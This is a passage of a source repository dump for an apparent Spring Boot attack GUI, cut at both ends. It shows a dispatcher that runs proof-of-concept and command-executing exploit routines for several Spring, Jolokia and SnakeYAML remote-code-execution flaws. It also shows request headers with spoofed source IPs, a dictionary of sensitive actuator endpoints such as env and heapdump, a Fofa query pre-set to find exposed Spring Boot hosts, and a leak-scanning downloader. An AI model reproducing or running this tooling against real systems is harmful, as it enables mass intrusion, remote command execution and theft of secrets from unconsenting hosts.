| "CVE-2022-22947", 6 | "CVE-2022-22963", 7 | "CVE-2022-22965", 8 | "JeeSpring-2023", 9 | "JolokiaRCE", 10 | "SnakeYAML-RCE" 11 | ], 12 | "expList": [ 13 | "CVE-2022-22947", 14 | "CVE-2022-22963", 15 | "CVE-2022-22965" 16 | ] 17 | }, 18 | "model": { 19 | "standmodel": [ 20 | "py", 21 | "json", 22 | "yaml" 23 | ], 24 | "asyncmodel": "async" 25 | }, 26 | "path": { 27 | "standpath": { 28 | "CVE-2021-21234": "./vuls/CVE_2021_21234", 29 | "CVE-2022-22947": "./vuls/CVE_2022_22947", 30 | "CVE-2022-22963": "./vuls/CVE_2022_22963", 31 | "CVE-2022-22965": "./vuls/CVE_2022_22965", 32 | "JeeSpring-2023": "./vuls/JeeSpring_2023", 33 | "JolokiaRCE": "./vuls/JeeSpring_2023", 34 | "nakeYAMLRCE": "./vuls/SnakeYAML_RCE" 35 | }, 36 | "asyncpath": { 37 | "CVE-2021-21234": "./vuls/CVE_2021_21234_Async.py", 38 | "CVE-2022-22947": "./vuls/CVE_2022_22947_Async.py", 39 | "CVE-2022-22963": "./vuls/CVE_2022_22963_Async.py", 40 | "CVE-2022-22965": "./vuls/CVE_2022_22965_Async.py", 41 | "JeeSpring-2023": "./vuls/JeeSpring_2023_Async.py", 42 | "JolokiaRCE": "./vuls/JeeSpring_2023_Async.py", 43 | "nakeYAMLRCE": "./vuls/SnakeYAML_RCE_Async.py" 44 | } 45 | }, 46 | "modelSet": "py", 47 | "expTypes": [ 48 | "default", 49 | "aabysszg", 50 | "13EXP" 51 | ], 52 | "expType": "13EXP" 53 | } -------------------------------------------------------------------------------- /core/core.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import asyncio 3 | import random 4 | 5 | from util import JsonMethod 6 | from util import YamlMethod 7 | from util import RandomUA 8 | from util import SystemCheck 9 | 10 | from vuls import CVE_2021_21234 11 | from vuls import CVE_2022_22947 12 | from vuls import CVE_2022_22963 13 | from vuls import CVE_2022_22965 14 | from vuls import JolokiaRCE 15 | from vuls import JeeSpring_2023 16 | from vuls import SnakeYAML_RCE 17 | 18 | from vuls import CVE_2021_21234_Async 19 | from vuls import CVE_2022_22947_Async 20 | from vuls import CVE_2022_22963_Async 21 | from vuls import CVE_2022_22965_Async 22 | from vuls import JolokiaRCE_Async 23 | from vuls import JeeSpring_2023_Async 24 | from vuls import SnakeYAML_RCE_Async 25 | 26 | class core: 27 | def __init__(self): 28 | self.sysType = SystemCheck.SystemType() 29 | 30 | self.jsonRead = JsonMethod.JsonMethod() 31 | self.yamlRead = YamlMethod.YamlMethod() 32 | 33 | self.CVE_2021_21234 = CVE_2021_21234.CVE_2021_21234() 34 | self.CVE_2022_22947 = CVE_2022_22947.CVE_2022_22947() 35 | self.CVE_2022_22963 = CVE_2022_22963.CVE_2022_22963() 36 | self.CVE_2022_22965 = CVE_2022_22965.CVE_2022_22965() 37 | self.JolokiaRCE = JolokiaRCE.JolokiaRCE() 38 | self.JeeSpring_2023 = JeeSpring_2023.JeeSpring_2023() 39 | self.SnakeYAML_RCE = SnakeYAML_RCE.SnakeYAML_RCE() 40 | 41 | self.CVE_2021_21234_Async = CVE_2021_21234_Async.CVE_2021_21234_Async() 42 | self.CVE_2022_22947_Async = CVE_2022_22947_Async.CVE_2022_22947_Async() 43 | self.CVE_2022_22963_Async = CVE_2022_22963_Async.CVE_2022_22963_Async() 44 | self.CVE_2022_22965_Async = CVE_2022_22965_Async.CVE_2022_22965_Async() 45 | self.JolokiaRCE_Async = JolokiaRCE_Async.JolokiaRCE_Async() 46 | self.JeeSpring_2023_Async = JeeSpring_2023_Async.JeeSpring_2023_Async() 47 | self.SnakeYAML_RCE_Async = SnakeYAML_RCE_Async.SnakeYAML_RCE_Async() 48 | 49 | self.time = [] 50 | self.id = [] 51 | self.explain = [] 52 | self.method = [] 53 | self.url = [] 54 | self.Gheader = [] 55 | self.body = [] 56 | self.Rheader = [] 57 | self.content = [] 58 | self.match_condition = [] 59 | self.match = [] 60 | self.Reference = [] 61 | self.extractors = [] 62 | 63 | def JsonOrYamlData(self,vulnFile): 64 | type = vulnFile.split(".")[-1] 65 | try: 66 | if type == "json": 67 | data = self.jsonRead.JsonRead(vulnFile) 68 | elif type == "yaml": 69 | data = self.yamlRead.YamlRead(vulnFile) 70 | else: 71 | return "Core Error!None Support Type" 72 | except: 73 | return "Core Error!Read File Error" 74 | return data 75 | def YamlOrJsonModel(self,data): 76 | try: 77 | # data = self.JsonOrYamlData(vuleFile) 78 | self.id.append(data['id']) 79 | 80 | if 'info' in data and 'description' in data['info'] and data['info']['description'] != None: 81 | self.explain.append(data['info']['description']) 82 | else: 83 | self.explain.append("未定义") 84 | 85 | if 'time' in data: 86 | self.time.append(data['time']) 87 | else: 88 | self.time.append("未定义") 89 | 90 | if 'body' in (data['http'])[0]: 91 | self.body.append(((data['http'])[0])['body']) 92 | else: 93 | self.body.append("占位符2") 94 | 95 | if 'Rheader' in (data['http'])[0]: 96 | self.Rheader.append(((data['http'])[0])['Rheader']) 97 | else: 98 | self.Rheader.append("None") 99 | 100 | if 'Gheader' in (data['http'])[0]: 101 | self.Gheader.append(((data['http'])[0])['Gheader']) 102 | else: 103 | self.Gheader.append("None") 104 | 105 | if 'extractors' in (data['http'])[0]: 106 | self.extractors.append(((data['http'])[0])['extractors']) 107 | else: 108 | self.extractors.append("None") 109 | 110 | self.method.append(((data['http'])[0])['method']) 111 | self.url.append(((data['http'])[0])['path']) 112 | if 'matchers-condition' in (data['http'])[0]: 113 | self.match_condition.append(((data['http'])[0])['matchers-condition']) # 匹配条件 114 | else: 115 | self.match_condition.append("and") 116 | # 匹配内容 117 | self.match.append((((data['http'])[0])['matchers'])) 118 | return True 119 | except Exception as e: 120 | return f"数据载入错误 {e}" 121 | def YamlOrJsonRequest(self,vulnName,model): 122 | vulns = self.jsonRead.VulnsConfigRead() 123 | vulnPathDict = vulns["path"]["standpath"] 124 | self.ua = RandomUA.RandomUA() 125 | random_ip = "{}.{}.{}.{}".format(random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), 126 | random.randint(1, 254)) 127 | self.headers = { 128 | "User-Agent": self.ua.UserAgent(), 129 | "Accept-Language": "en", 130 | "X-Forwarded-For": random_ip, 131 | "X-Real-IP": random_ip, 132 | } 133 | vulnPath = vulnPathDict[vulnName] + "." + model 134 | data = self.JsonOrYamlData(vulnPath) 135 | dataload = self.YamlOrJsonModel(data) 136 | def pyScan(self,url,proxies,vulnName,ProxyStute,attack,cmd): 137 | if attack == "PoC": 138 | if vulnName == "CVE-2021-21234": 139 | result = self.CVE_2021_21234.poc(url,proxies,ProxyStute) 140 | elif vulnName == "CVE-2022-22947": 141 | result = self.CVE_2022_22947.poc(url,proxies,ProxyStute) 142 | elif vulnName == "CVE-2022-22963": 143 | result = self.CVE_2022_22963.poc(url,proxies,ProxyStute) 144 | elif vulnName == "CVE-2022-22965": 145 | result = self.CVE_2022_22965.poc(url,proxies,ProxyStute) 146 | elif vulnName == "JeeSpring-2023": 147 | result = self.JeeSpring_2023.poc(url,proxies,ProxyStute) 148 | elif vulnName == "JolokiaRCE": 149 | result = self.JolokiaRCE.poc(url,proxies,ProxyStute) 150 | elif vulnName == "SnakeYAML-RCE": 151 | result = self.SnakeYAML_RCE.poc(url,proxies,ProxyStute) 152 | else: 153 | result = "Error" 154 | return result 155 | elif attack == "EXP": 156 | if vulnName == "CVE-2021-21234": 157 | result = self.CVE_2021_21234.exp(url,proxies,ProxyStute,cmd) 158 | elif vulnName == "CVE-2022-22947": 159 | result = self.CVE_2022_22947.exp(url,proxies,ProxyStute,cmd) 160 | elif vulnName == "CVE-2022-22963": 161 | result = self.CVE_2022_22963.exp(url,proxies,ProxyStute,cmd) 162 | elif vulnName == "CVE-2022-22965": 163 | result = self.CVE_2022_22965.exp(url,proxies,ProxyStute,cmd) 164 | elif vulnName == "JeeSpring-2023": 165 | result = self.JeeSpring_2023.exp(url,proxies,ProxyStute,cmd) 166 | elif vulnName == "JolokiaRCE": 167 | result = self.JolokiaRCE.exp(url,proxies,ProxyStute,cmd) 168 | elif vulnName == "SnakeYAML-RCE": 169 | result = self.SnakeYAML_RCE.exp(url,proxies,ProxyStute,cmd) 170 | else: 171 | result = "Error" 172 | return result 173 | def asyncScan(self,url,proxies,vulnName,ProxyStute,attack): 174 | if self.sysType == "Windows": 175 | asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) 176 | if attack == "PoC": 177 | if vulnName == "CVE-2021-21234": 178 | result = asyncio.run(self.CVE_2021_21234_Async.poc(url, proxies, ProxyStute)) 179 | elif vulnName == "CVE-2022-22947": 180 | result = asyncio.run(self.CVE_2022_22947_Async.poc(url, proxies, ProxyStute)) 181 | elif vulnName == "CVE-2022-22963": 182 | result = asyncio.run(self.CVE_2022_22963_Async.poc(url, proxies, ProxyStute)) 183 | elif vulnName == "CVE-2022-22965": 184 | result = asyncio.run(self.CVE_2022_22965_Async.poc(url, proxies, ProxyStute)) 185 | elif vulnName == "JeeSpring-2023": 186 | result = asyncio.run(self.JeeSpring_2023_Async.poc(url, proxies, ProxyStute)) 187 | elif vulnName == "JolokiaRCE": 188 | result = asyncio.run(self.JolokiaRCE_Async.poc(url, proxies, ProxyStute)) 189 | elif vulnName == "SnakeYAML-RCE": 190 | result = asyncio.run(self.SnakeYAML_RCE_Async.poc(url, proxies, ProxyStute)) 191 | else: 192 | result = "Error" 193 | return result 194 | elif attack == "EXP": 195 | if self.sysType == "Windows": 196 | asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) 197 | if vulnName == "CVE-2021-21234": 198 | result = asyncio.run(self.CVE_2021_21234_Async.exp(url, proxies, ProxyStute)) 199 | elif vulnName == "CVE-2022-22947": 200 | result = asyncio.run(self.CVE_2022_22947_Async.exp(url, proxies, ProxyStute)) 201 | elif vulnName == "CVE-2022-22963": 202 | result = asyncio.run(self.CVE_2022_22963_Async.exp(url, proxies, ProxyStute)) 203 | elif vulnName == "CVE-2022-22965": 204 | result = asyncio.run(self.CVE_2022_22965_Async.exp(url, proxies, ProxyStute)) 205 | elif vulnName == "JeeSpring-2023": 206 | result = asyncio.run(self.JeeSpring_2023_Async.exp(url, proxies, ProxyStute)) 207 | elif vulnName == "JolokiaRCE": 208 | result = asyncio.run(self.JolokiaRCE_Async.exp(url, proxies, ProxyStute)) 209 | elif vulnName == "SnakeYAML-RCE": 210 | result = asyncio.run(self.SnakeYAML_RCE_Async.exp(url, proxies, ProxyStute)) 211 | else: 212 | result = "Error" 213 | return result 214 | if __name__ == "__main__": 215 | core = core() 216 | yaml_date = core.JsonOrYamlData("../vuls/CVE_2021_21234.json") 217 | print(yaml_date) -------------------------------------------------------------------------------- /dict/DirDict.txt: -------------------------------------------------------------------------------- 1 | actuator 2 | actuator/auditLog 3 | actuator/auditevents 4 | actuator/autoconfig 5 | actuator/beans 6 | actuator/caches 7 | actuator/conditions 8 | actuator/configurationMetadata 9 | actuator/configprops 10 | actuator/dump 11 | actuator/env 12 | actuator/events 13 | actuator/exportRegisteredServices 14 | actuator/features 15 | actuator/flyway 16 | actuator/health 17 | actuator/healthcheck 18 | actuator/httptrace 19 | actuator/hystrix.stream 20 | actuator/info 21 | actuator/integrationgraph 22 | actuator/jolokia 23 | actuator/logfile 24 | actuator/loggers 25 | actuator/loggingConfig 26 | actuator/liquibase 27 | actuator/metrics 28 | actuator/mappings 29 | actuator/scheduledtasks 30 | actuator/swagger-ui.html 31 | actuator/prometheus 32 | actuator/refresh 33 | actuator/registeredServices 34 | actuator/releaseAttributes 35 | actuator/resolveAttributes 36 | actuator/scheduledtasks 37 | actuator/sessions 38 | actuator/springWebflow 39 | actuator/shutdown 40 | actuator/sso 41 | actuator/ssoSessions 42 | actuator/statistics 43 | actuator/status 44 | actuator/threaddump 45 | actuator/trace 46 | auditevents 47 | autoconfig 48 | api.html 49 | api/index.html 50 | api/swagger-ui.html 51 | api/v2/api-docs 52 | api-docs 53 | beans 54 | caches 55 | cloudfoundryapplication 56 | conditions 57 | configprops 58 | distv2/index.html 59 | docs 60 | druid/index.html 61 | druid/login.html 62 | druid/websession.html 63 | dubbo-provider/distv2/index.html 64 | dump 65 | entity/all 66 | env 67 | env/(name) 68 | eureka 69 | flyway 70 | gateway/actuator 71 | gateway/actuator/auditevents 72 | gateway/actuator/beans 73 | gateway/actuator/conditions 74 | gateway/actuator/configprops 75 | gateway/actuator/env 76 | gateway/actuator/health 77 | gateway/actuator/httptrace 78 | gateway/actuator/hystrix.stream 79 | gateway/actuator/info 80 | gateway/actuator/jolokia 81 | gateway/actuator/logfile 82 | gateway/actuator/loggers 83 | gateway/actuator/mappings 84 | gateway/actuator/metrics 85 | gateway/actuator/scheduledtasks 86 | gateway/actuator/swagger-ui.html 87 | gateway/actuator/threaddump 88 | gateway/actuator/trace 89 | health 90 | heapdump.json 91 | httptrace 92 | hystrix 93 | info 94 | integrationgraph 95 | jolokia 96 | jolokia/list 97 | liquibase 98 | list 99 | logfile 100 | loggers 101 | liquibase 102 | metrics 103 | mappings 104 | monitor 105 | prometheus 106 | refresh 107 | scheduledtasks 108 | sessions 109 | shutdown 110 | spring-security-oauth-resource/swagger-ui.html 111 | spring-security-rest/api/swagger-ui.html 112 | static/swagger.json 113 | sw/swagger-ui.html 114 | swagger 115 | swagger/codes 116 | swagger/index.html 117 | swagger/static/index.html 118 | swagger/swagger-ui.html 119 | swagger-dubbo/api-docs 120 | swagger-ui 121 | swagger-ui.html 122 | swagger-ui/html 123 | swagger-ui/index.html 124 | system/druid/index.html 125 | threaddump 126 | template/swagger-ui.html 127 | trace 128 | user/swagger-ui.html 129 | version 130 | v1.1/swagger-ui.html 131 | v1.2/swagger-ui.html 132 | v1.3/swagger-ui.html 133 | v1.4/swagger-ui.html 134 | v1.5/swagger-ui.html 135 | v1.6/swagger-ui.html 136 | v1.7/swagger-ui.html 137 | /v1.8/swagger-ui.html 138 | /v1.9/swagger-ui.html 139 | /v2.0/swagger-ui.html 140 | v2.1/swagger-ui.html 141 | v2.2/swagger-ui.html 142 | v2.3/swagger-ui.html 143 | v2/swagger.json 144 | webpage/system/druid/index.html 145 | %20/swagger-ui.html -------------------------------------------------------------------------------- /images/gui.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/13exp/SpringBoot-Scan-GUI/90be2d1921c9dafdda12f06d64e45332d0ae18c0/images/gui.ico -------------------------------------------------------------------------------- /logs/dump.log: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /logs/error.log: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /logs/urls.log: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /logs/vuln.log: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | from tkinter import * 5 | from tkinter import ttk 6 | 7 | from pages import FofaPage 8 | from pages import CreatePage 9 | from pages import ScanPage 10 | from pages import VulnPage 11 | 12 | from com import MenuTab 13 | 14 | from util import SystemCheck 15 | 16 | class SpringBootScanGUI: 17 | def __init__(self): 18 | systype = SystemCheck.SystemType() 19 | 20 | self.window = Tk() 21 | self.window.title("SpringBootScanGUI by:13EXP") 22 | self.window.geometry("1230x600") 23 | self.window.resizable(0, 0) 24 | if systype == 'Windows': 25 | self.window.iconbitmap('./images/gui.ico') 26 | 27 | tabControl = ttk.Notebook(self.window) 28 | 29 | self.leakagetab = ttk.Frame(tabControl) 30 | self.exptab = ttk.Frame(tabControl) 31 | self.fofatab = ttk.Frame(tabControl) 32 | # self.createtab = ttk.Frame(tabControl) 33 | 34 | tabControl.add(self.leakagetab,text="泄露扫描") 35 | tabControl.add(self.exptab,text="漏洞扫描") 36 | tabControl.add(self.fofatab,text="Fofa资产测绘") 37 | # tabControl.add(self.createtab, text="PoC制作台") 38 | 39 | # 载入页面 40 | ScanPage.ScanPage(self.leakagetab) 41 | VulnPage.VulnPage(self.exptab) 42 | FofaPage.FofaPage(self.fofatab) 43 | # CreatePage.CreatePage(self.createtab) 44 | # 初始化菜单功能 45 | MenuTab.MenuTab(self.window) 46 | 47 | tabControl.pack(expand=1,fill="both") 48 | self.window.mainloop() 49 | if __name__ == '__main__': 50 | start = SpringBootScanGUI() 51 | '''systype = SystemCheck.SystemType() 52 | if systype == 'Windows': 53 | if SystemCheck.is_admin(): 54 | start = SpringBootScanGUI() 55 | else: 56 | ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1) 57 | elif systype == 'Linux': 58 | if SystemCheck.is_root(): 59 | start = SpringBootScanGUI() 60 | else: 61 | print(False) 62 | elif systype == 'macOS': 63 | if SystemCheck.is_root(): 64 | start = SpringBootScanGUI() 65 | else: 66 | print(False) 67 | else: 68 | print('Faild Start Process...Please try agine!')''' 69 | -------------------------------------------------------------------------------- /pages/CreatePage.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import requests, base64, json, yaml 4 | 5 | from util import SystemCheck 6 | from util import InputCheck 7 | from util import URLMethod 8 | from util import JsonMethod 9 | from pages.config import FofaConfig 10 | import tkinter.messagebox as messagebox 11 | import tkinter.font as tkFont 12 | import tkinter as tk 13 | from tkinter import * 14 | 15 | class CreatePage: 16 | def __init__(self,windows): 17 | # 操作系统类型 18 | self.sysType = SystemCheck.SystemType() 19 | 20 | # tk.Label(windows,text="id:",font=("宋体",16)).place(x=20,y=15) 21 | self.id = Entry(windows, width=40, bg='Ivory') 22 | # self.id.place(x=105,y=20) 23 | 24 | # tk.Label(windows,text="info",font=("宋体",16)).place(x=20,y=45) 25 | 26 | # tk.Label(windows,text="name:",font=("宋体",16)).place(x=20,y=75) 27 | self.name = Entry(windows, width=40, bg='Ivory') 28 | # self.name.place(x=105, y=80) 29 | 30 | # tk.Label(windows,text="author:",font=("宋体",16)).place(x=20,y=105) 31 | self.author = Entry(windows, width=40, bg='Ivory') 32 | # self.author.place(x=105, y=110) 33 | 34 | tk.Label(windows,text="severity") 35 | 36 | tk.Label(windows,text="description") 37 | 38 | tk.Label(windows,text="reference") 39 | 40 | self.info_classification = tk.Label(windows,text="classification") 41 | tk.Label(windows,text="cvss-metrics") 42 | 43 | tk.Label(windows,text="cvss-score") 44 | 45 | tk.Label(windows,text="cwe-id") 46 | 47 | tk.Label(windows,text="tags") 48 | 49 | self.metadata = tk.Label(windows,text="metadata") 50 | 51 | self.http = tk.Label(windows,text="http") 52 | 53 | tk.Label(windows,text="method") 54 | 55 | tk.Label(windows,text="path") 56 | 57 | tk.Label(windows,text="Rheader") 58 | 59 | tk.Label(windows,text="body") 60 | 61 | tk.Label(windows,text="matchers-condition") 62 | 63 | tk.Label(windows,text="matchers") 64 | 65 | def create(self): 66 | data = { 67 | "id":"" 68 | } -------------------------------------------------------------------------------- /pages/FofaPage.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | from tkinter import ttk 3 | 4 | import requests, base64, json,threading 5 | 6 | from com import Banner 7 | from util import RandomUA 8 | from util import InputCheck 9 | from util import URLMethod 10 | from util import JsonMethod 11 | from pages.config import FofaConfig 12 | import tkinter.messagebox as messagebox 13 | import tkinter.font as tkFont 14 | import tkinter as tk 15 | from tkinter import * 16 | 17 | # 资产测绘 18 | class FofaPage: 19 | def __init__(self, windows): 20 | 21 | self.url_str = URLMethod.URLMethod() 22 | # 初始化读取配置功能 23 | fofaconfig = FofaConfig.FofaConfig() 24 | 25 | self.frame_left = Frame(windows, width=900, height=600) 26 | # self.frame_left.grid(row=0, column=0, columnspan=2, padx=5, pady=5) 27 | self.frame_left.place(x=20,y=0) 28 | Label(self.frame_left, text="搜索语法:", fg="black", font=("宋体", 12)).place(x=60, y=5) 29 | 30 | self.asset_rule = Entry(self.frame_left, width=52, font=tkFont.Font(size=14), bg='Ivory') 31 | self.asset_rule.place(x=150, y=8) 32 | self.asset_rule.insert(0,'icon_hash="116323821" || body="Whitelabel Error Page"') 33 | self.btnSet = Button(self.frame_left, text="配置", font=tkFont.Font(size=12), width=5,command=fofaconfig.page, 34 | height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 35 | cursor="hand2") 36 | self.btnSet.place(x=0, y=5) 37 | 38 | self.btnQery = Button(self.frame_left, text="查询", font=tkFont.Font(size=12), width=9,command=self.btnFofa, 39 | height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 40 | cursor="hand2") 41 | self.btnQery.place(x=690, y=5) 42 | 43 | self.btnOutput = Button(self.frame_left, text="导出", font=tkFont.Font(size=12), width=9,command=self.output, 44 | height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 45 | cursor="hand2") 46 | self.btnOutput.place(x=790, y=5) 47 | 48 | self.vbar_asset = ttk.Scrollbar(windows) 49 | self.asset_info = Text(self.frame_left, width=125, height=38, yscrollcommand=self.vbar_asset.set) 50 | self.asset_info.place(x=0, y=50) 51 | self.vbar_asset.config(command=self.asset_info.yview) 52 | self.vbar_asset.pack(side=tk.RIGHT, fill="y") 53 | 54 | ua = RandomUA.RandomUA() 55 | self.ua = ua.UserAgent() 56 | self.header = { 57 | 'User-Agent': self.ua, 58 | 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' 59 | } 60 | # 右方区域 61 | self.frame_right = Frame(windows, width=300, height=600) 62 | # self.frame_right.grid(row=0, column=2, columnspan=2, padx=5, pady=5) 63 | self.frame_right.place(x=910,y=0) 64 | 65 | Label(self.frame_right, text="查询语法", fg="black", font=("宋体", 12)).place(x=110, y=10) 66 | 67 | self.vbar_rules = ttk.Scrollbar(windows) 68 | self.fofa_rules = Text(self.frame_right, width=41, height=38, yscrollcommand=self.vbar_rules.set) 69 | self.fofa_rules.place(x=0, y=50) 70 | self.vbar_rules.config(command=self.fofa_rules.yview) 71 | self.vbar_rules.pack(side=tk.LEFT, fill="y") 72 | 73 | self.fofa_rules.insert(tk.INSERT,Banner.FofaInfo()) 74 | self.fofa_rules.config(state='disable') 75 | def urlCheck(self): 76 | rule = self.asset_rule.get() 77 | check = InputCheck.InputCheck() 78 | status = check.isNull(rule) 79 | if status == True: 80 | return True 81 | else: 82 | return False 83 | def btnFofa(self): 84 | try: 85 | threadFofa = threading.Thread(target=self.btnfofa) 86 | threadFofa.setDaemon(True) 87 | threadFofa.start() 88 | except Exception as e: 89 | messagebox.showinfo('error', f'unkown error\n{e}') 90 | def btnfofa(self): 91 | self.btnOutput.config(state="disable") 92 | self.btnQery.config(state="disable") 93 | rule = self.asset_rule.get() 94 | check = self.urlCheck() 95 | if check == True: 96 | messagebox.showerror("错误","搜索规则功能为空!") 97 | else: 98 | try: 99 | self.fofa(rule) 100 | except: 101 | messagebox.showerror("错误", "搜索语法错误!") 102 | self.btnOutput.config(state="normal") 103 | self.btnQery.config(state="normal") 104 | def fofa(self,rule): 105 | configLoad = JsonMethod.JsonMethod() 106 | config = configLoad.FofaConfigRead() 107 | # 参数初始化 108 | self.fofa_api = config['api'] 109 | self.fofa_email = config['email'] 110 | self.fofa_key = config['key'] 111 | self.fofa_size = config['size'] 112 | 113 | rule = base64.b64encode(rule.encode('utf-8')).decode("utf-8") 114 | req = self.fofa_api.strip( 115 | "/") + "/api/v1/search/all?email=" + self.fofa_email + "&key=" + self.fofa_key + "&qbase64=" + rule + "&size=" + self.fofa_size 116 | response = requests.get(req, headers=self.header) 117 | if 'errmsg' not in response.text: 118 | self.asset_info.delete(1.0, tk.END) # Clear previous results 119 | r = json.loads(response.text) 120 | 121 | for i in r['results']: 122 | s = i[0] 123 | s_with_protocol = self.url_str.StandURL(s) 124 | self.asset_info.insert(tk.END, s_with_protocol) 125 | self.asset_info.insert(tk.END, '\n') 126 | def output(self): 127 | try: 128 | threadOutput= threading.Thread(target=self.Output) 129 | threadOutput.setDaemon(True) 130 | threadOutput.start() 131 | except Exception as e: 132 | messagebox.showinfo('error', f'unkown error\n{e}') 133 | def Output(self): 134 | self.btnQery.config(state="disable") 135 | self.btnOutput.config(state="disable") 136 | # 清空操作 137 | f = open("./save/fofa.txt","w") 138 | f.close() 139 | data = self.asset_info.get("1.0","end") 140 | urls = data.strip("\n").split("\n") 141 | for i in urls: 142 | with open("./save/fofa.txt","a") as f: 143 | f.write(i) 144 | f.write("\n") 145 | messagebox.showinfo("提示", "导出成功./save/fofa.txt!") 146 | self.btnQery.config(state="normal") 147 | self.btnOutput.config(state="normal") 148 | -------------------------------------------------------------------------------- /pages/ScanPage.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | from tkinter import messagebox,ttk,filedialog 4 | from tqdm import tqdm 5 | 6 | import tkinter.font as tkFont 7 | import tkinter as tk 8 | import os ,requests , shutil, threading 9 | 10 | from util import SystemCheck 11 | from util import RandomUA 12 | from util import JsonMethod 13 | from util import InputCheck 14 | from util import URLMethod 15 | from util import LogsMethod 16 | from com import Banner 17 | 18 | class ScanPage: 19 | def __init__(self,windows): 20 | # 操作系统类型 21 | self.sysType = SystemCheck.SystemType() 22 | # 功能中proxy logs载入配置 23 | self.configLoad = JsonMethod.JsonMethod() 24 | self.urlmethod = URLMethod.URLMethod() 25 | self.logmethod = LogsMethod.LogsMethod() 26 | # 泄露扫描 27 | tk.Label(windows,text="检测URL", font=("宋体", 12)).place(x=70,y=30) 28 | tk.Label(windows,text="User-Agent", font=("宋体", 12)).place(x=50,y=60) 29 | tk.Label(windows,text="信息泄露字典", font=("宋体", 12)).place(x=40,y=90) 30 | tk.Label(windows,text="下载地址", font=("宋体", 12)).place(x=750,y=30) 31 | # 泄露扫描控件 32 | self.url = tk.Entry(windows, width=75, bg='Ivory') 33 | self.url.place(x=150,y=30) 34 | 35 | self.User_Agent = ttk.Combobox(windows,width=72) 36 | ua_list = ['自动'] 37 | self.ua = RandomUA.RandomUA() 38 | uas = self.ua.UserAgentList(100) 39 | for i in uas: 40 | ua_list.append(i) 41 | self.User_Agent['value'] = ua_list 42 | self.User_Agent.current(0) 43 | self.User_Agent.place(x=150,y=60) 44 | 45 | self.info_dict = tk.Entry(windows, width=75, bg='Ivory') 46 | self.info_dict.place(x=150,y=90) 47 | self.info_dict.insert(0, "./dict/DirDict.txt") 48 | # 泄露下载器 49 | self.url_download = tk.Entry(windows, width=44, bg='Ivory') 50 | self.url_download.place(x=820,y=30) 51 | 52 | self.btnScan = tk.Button(windows,text="扫描", width=15, fg="white", font=tkFont.Font(size=12),command=self.scan, 53 | height=1,bg="gray", activeforeground="white", activebackground="black",cursor="hand2") 54 | self.btnScan.place(x=280,y=118) 55 | self.btnDownload = tk.Button(windows,text="下载", width=15, fg="white", font=tkFont.Font(size=12),command=self.download, 56 | height=2,bg="gray", activeforeground="white", activebackground="black",cursor="hand2") 57 | self.btnDownload.place(x=900,y=80) 58 | self.btnUrlsPath = tk.Button(windows,text="浏览", fg="white",bg="gray", activeforeground="white",command=self.urlsPath, 59 | activebackground="black",cursor="hand2") 60 | self.btnUrlsPath.place(x=690,y=25) 61 | self.btnDictPath = tk.Button(windows,text="浏览", fg="white",bg="gray", activeforeground="white",command=self.dictPath, 62 | activebackground="black",cursor="hand2") 63 | self.btnDictPath.place(x=690,y=85) 64 | self.btnDownloadPath = tk.Button(windows,text="浏览", fg="white",bg="gray", activeforeground="white",command=self.downloadPath, 65 | activebackground="black",cursor="hand2") 66 | self.btnDownloadPath.place(x=1145,y=25) 67 | 68 | # 反馈框 69 | self.vbar = ttk.Scrollbar(windows) 70 | self.info_text = tk.Text(windows,width=102,height=30,yscrollcommand=self.vbar.set) 71 | self.info_text.insert(tk.INSERT,Banner.banner()) 72 | self.info_text.place(x=20,y=150) 73 | self.vbar.config(command=self.info_text.yview) 74 | self.vbar.pack(side=tk.RIGHT, fill="y") 75 | # 请求线程锁 76 | # self.lock = threading.RLock() 77 | self.vbar_donwload = ttk.Scrollbar(windows) 78 | self.info_download = tk.Text(windows, width=64, height=30, yscrollcommand=self.vbar_donwload.set) 79 | self.info_download.insert(tk.INSERT, Banner.Download()) 80 | self.info_download.place(x=750, y=150) 81 | self.vbar_donwload.config(command=self.info_download.yview) 82 | self.vbar_donwload.pack(side=tk.LEFT, fill="y") 83 | 84 | def scan(self): 85 | try: 86 | threadScan = threading.Thread(target=self.Scan) 87 | threadScan.setDaemon(True) 88 | threadScan.start() 89 | # threadFofa.join() 90 | except Exception as e : 91 | messagebox.showinfo('error', f'unkown error\n{e}') 92 | def Scan(self): 93 | self.btnScan.config(state="disable") 94 | switch = self.switchCheck() 95 | proxy_status = switch['proxyswitch'] 96 | log_status = switch['logswitch'] 97 | if proxy_status != 0: 98 | proxyconfig = self.configLoad.ProxyConfigRead() 99 | 100 | ip = proxyconfig['ip'] 101 | port = proxyconfig['port'] 102 | proxy = "{ip}:{port}".format(ip=ip,port=port) 103 | proxies = { 104 | "http": "http://%(proxy)s/" % {'proxy': proxy}, 105 | "https": "http://%(proxy)s/" % {'proxy': proxy} 106 | } 107 | else: 108 | proxies = None 109 | 110 | ua = self.User_Agent.get() 111 | if ua == "自动": 112 | ua = self.ua.UserAgent() 113 | check = self.scanInputCheck() 114 | if check == False: 115 | messagebox.showerror("错误","URL或字典信息错误!") 116 | else: 117 | dir_file = self.info_dict.get() 118 | if check[0] == "isFile": 119 | urls = check[-1] 120 | for i in urls: 121 | i = self.urlmethod.StandURL(i) 122 | try: 123 | self.SpringBootScan(ua,i,dir_file,proxy_status,log_status,proxies) 124 | self.count() 125 | except: 126 | back = "{url}SpringBoot信息泄露扫描中的未知错误".format(url=i) 127 | self.info_text.insert(tk.INSERT, back) 128 | self.info_text.insert(tk.INSERT, '\n') 129 | if 